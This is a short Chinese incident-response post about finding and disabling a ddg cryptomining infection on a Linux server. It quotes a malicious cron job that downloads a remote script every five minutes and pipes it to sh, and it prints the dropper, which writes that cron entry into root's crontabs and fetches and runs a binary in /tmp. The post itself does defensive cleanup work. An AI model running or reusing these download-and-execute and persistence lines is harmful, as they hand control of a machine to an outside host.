查杀病毒实战----------------》ddg.223 and
AnXQV
htop 发现导常：
接着发现可疑进程:
首先检测 crontab,发现问题：
# crontab -l
*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh
注释掉计划任务！！！
# crontab -l
#*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh
把把脚本下载下来:
http://www.bdyutiudwj.com/i.sh?1
查看一下内容：
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.bdyutiudwj.com/i.sh?1 | sh" > /var/spool/cron/crontabs/root
if [ ! -f "/tmp/ddg.223" ]; then
curl -fsSL http://www.bdyutiudwj.com/ddg.$(uname -m) -o /tmp/ddg.223
fi
chmod +x /tmp/ddg.223 && /tmp/ddg.223
CleanTail()
Period熹微
- 粉丝: 30
- 资源: 307
评论0